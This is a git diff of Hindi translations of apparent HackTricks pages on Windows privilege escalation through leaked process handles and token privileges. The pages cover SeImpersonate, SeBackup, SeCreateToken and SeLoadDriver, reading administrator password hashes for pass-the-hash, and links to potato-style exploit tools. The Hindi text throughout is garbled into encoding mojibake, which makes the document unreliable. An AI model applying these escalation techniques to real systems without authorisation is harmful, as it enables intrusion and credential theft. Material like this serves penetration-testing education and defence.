рдХреА рдкрдВрдХреНрддрд┐рдпреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдлрдВрдХреНрд╢рди `UpdateProcThreadAttribute`** рдХреЛ **рд╡рд┐рд╢реЗрд╖рддрд╛ `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` рдФрд░ рдЦреБрд▓реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓ рдХреЗ рд╕рд╛рде** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдирд┐рд░реНрдорд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдереНрд░реЗрдб рдЬреЛ \_cmd.exe**\_\*\* рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛, **рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рдорд╛рди рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрдЧрд╛\*\*. +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдлрдВрдХреНрд╢рди `UpdateProcThreadAttribute`** рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╡рд┐рд╢реЗрд╖рддрд╛ `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` рдФрд░ рдЦреБрд▓реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реИрдВрдбрд▓** рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **`cmd.exe` рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдереНрд░реЗрдб** рдХреЗ рдкрд╛рд╕ рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рдорд╛рди рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрдЧрд╛**ред ```c #include #include @@ -676,7 +676,7 @@ return 0; - [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles) -рдПрдХ рдФрд░ рдЙрдкрдХрд░рдг рд╣реИрдВрдбрд▓ рд▓реАрдХ рдХрд░рдиреЗ рдФрд░ рдЙрд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред +рдПрдХ рдФрд░ рдЙрдкрдХрд░рдг рдЬреЛ рдПрдХ рд╣реИрдВрдбрд▓ рд▓реАрдХ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░рддрд╛ рд╣реИред ## рд╕рдВрджрд░реНрдн diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index ff313ffba..102758c0d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -10,11 +10,11 @@ access-tokens.md {{#endref}} -**рд╢рд╛рдпрдж рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдЯреЛрдХрдиреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ** +**рд╢рд╛рдпрдж рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдЯреЛрдХрдиреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ** ### SeImpersonatePrivilege -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдзрд╛рд░рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг (рд▓реЗрдХрд┐рди рдирд┐рд░реНрдорд╛рдг рдирд╣реАрдВ) рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЯреЛрдХрди рдХреЛ Windows рд╕реЗрд╡рд╛ (DCOM) рд╕реЗ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рджрд░реНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП winrm рдХреЛ рдмрдВрдж рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ), [SweetPotato](https://github.com/CCob/SweetPotato), рдФрд░ [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдзрд╛рд░рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг (рд▓реЗрдХрд┐рди рдирд┐рд░реНрдорд╛рдг рдирд╣реАрдВ) рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЯреЛрдХрди рдХреЛ Windows рд╕реЗрд╡рд╛ (DCOM) рд╕реЗ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП winrm рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ), [SweetPotato](https://github.com/CCob/SweetPotato), рдФрд░ [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} roguepotato-and-printspoofer.md @@ -32,17 +32,17 @@ juicypotato.md ### SeTcbPrivilege -рдпрджрд┐ рдЖрдкрдиреЗ рдЗрд╕ рдЯреЛрдХрди рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк **KERB_S4U_LOGON** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП **рдЕрдиреБрдХрд░рдг рдЯреЛрдХрди** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЬрд╛рдиреЗ, **рдЯреЛрдХрди рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдореВрд╣** (admins) рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдЯреЛрдХрди рдХреЗ **рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓** рдХреЛ "**рдордзреНрдпрдо**" рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЗрд╕ рдЯреЛрдХрди рдХреЛ **рд╡рд░реНрддрдорд╛рди рдереНрд░реЗрдб** рдкрд░ рдЕрд╕рд╛рдЗрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (SetThreadToken)ред +рдпрджрд┐ рдЖрдкрдиреЗ рдЗрд╕ рдЯреЛрдХрди рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк **KERB_S4U_LOGON** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП **рдЕрдиреБрдХрд░рдг рдЯреЛрдХрди** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЬрд╛рдиреЗ, **рдЯреЛрдХрди рдореЗрдВ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдореВрд╣** (admins) рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдЯреЛрдХрди рдХреЗ **рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░** рдХреЛ "**рдордзреНрдпрдо**" рдкрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЗрд╕ рдЯреЛрдХрди рдХреЛ **рд╡рд░реНрддрдорд╛рди рдереНрд░реЗрдб** рдкрд░ рдЕрд╕рд╛рдЗрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (SetThreadToken)ред ### SeBackupPrivilege -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ (рдкрдврд╝рдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рддрдХ рд╕реАрдорд┐рдд) рдХреЗ рд▓рд┐рдП **рд╕рднреА рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ** рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддреЛрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж, "**psexec**" рдпрд╛ "**wmiexec**" рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (Pass-the-Hash рддрдХрдиреАрдХ)ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рддрдХрдиреАрдХ рджреЛ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ: рдЬрдм рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, рдпрд╛ рдЬрдм рдПрдХ рдиреАрддрд┐ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣рдЯрд╛ рджреЗрддреА рд╣реИред\ +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ (рдкрдврд╝рдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рддрдХ рд╕реАрдорд┐рдд) рдХреЗ рд▓рд┐рдП **рд╕рднреА рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ** рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддреЛрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж, рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ "**psexec**" рдпрд╛ "**wmiexec**" рд╣реИрд╢ рдХреЗ рд╕рд╛рде (Pass-the-Hash рддрдХрдиреАрдХ)ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рддрдХрдиреАрдХ рджреЛ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ: рдЬрдм рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдЕрдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИ, рдпрд╛ рдЬрдм рдПрдХ рдиреАрддрд┐ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣рдЯрд╛ рджреЗрддреА рд╣реИред\ рдЖрдк рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) - **IppSec** рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- рдпрд╛ рдЬреИрд╕рд╛ рдХрд┐ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ **рдмреИрдХрдЕрдк рдСрдкрд░реЗрдЯрд░реЛрдВ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ** рдХреЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ: +- рдпрд╛ рдЬреИрд╕рд╛ рдХрд┐ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ **Backup Operators рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ** рдХреЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -54,19 +54,19 @@ juicypotato.md ### SeCreateTokenPrivilege -SeCreateTokenPrivilege рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЕрдиреБрдорддрд┐ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддрдм рдЙрдкрдпреЛрдЧреА рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ, рд▓реЗрдХрд┐рди SeImpersonatePrivilege рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ рднреАред рдпрд╣ рдХреНрд╖рдорддрд╛ рдЙрд╕ рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдХрд░рдг рдХреА рдХреНрд╖рдорддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓ рд╕реЗ рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред +SeCreateTokenPrivilege рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЕрдиреБрдорддрд┐ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддрдм рдЙрдкрдпреЛрдЧреА рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ, рд▓реЗрдХрд┐рди SeImpersonatePrivilege рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ рднреАред рдпрд╣ рдХреНрд╖рдорддрд╛ рдЙрд╕ рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдХрд░рдг рдХреА рдХреНрд╖рдорддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕реНрддрд░ рд╕реЗ рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред **рдореБрдЦреНрдп рдмрд┐рдВрджреБ:** - **SeImpersonatePrivilege рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрдХрд░рдг:** рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдХреЗ EoP рдХреЗ рд▓рд┐рдП SeCreateTokenPrivilege рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред -- **рдЯреЛрдХрди рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╢рд░реНрддреЗрдВ:** рд╕рдлрд▓ рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдЯреЛрдХрди рдХреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЗрд╕рдХрд╛ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд▓реЗрд╡рд▓ рдХреЗ рдмрд░рд╛рдмрд░ рдпрд╛ рдХрдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реА рд╣реИред +- **рдЯреЛрдХрди рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╢рд░реНрддреЗрдВ:** рд╕рдлрд▓ рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдЯреЛрдХрди рдХреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЗрд╕рдХрд╛ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рдХреЗ рдмрд░рд╛рдмрд░ рдпрд╛ рдХрдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реА рд╣реИред - **рдЕрдиреБрдХрд░рдг рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди:** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЕрдиреБрдХрд░рдг рдЯреЛрдХрди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣ рдХреЗ SID (рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛) рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред ### SeLoadDriverPrivilege -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ **рдбрд┐рд╡рд╛рдЗрд╕ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдЕрдирд▓реЛрдб** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `ImagePath` рдФрд░ `Type` рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╢рд╛рдорд┐рд▓ рд╣реИред рдЪреВрдВрдХрд┐ `HKLM` (HKEY_LOCAL_MACHINE) рдкрд░ рд╕реАрдзреЗ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХреЗ рдмрдЬрд╛рдп `HKCU` (HKEY_CURRENT_USER) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдбреНрд░рд╛рдЗрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП `HKCU` рдХреЛ рдХрд░реНрдиреЗрд▓ рдХреЗ рд▓рд┐рдП рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп 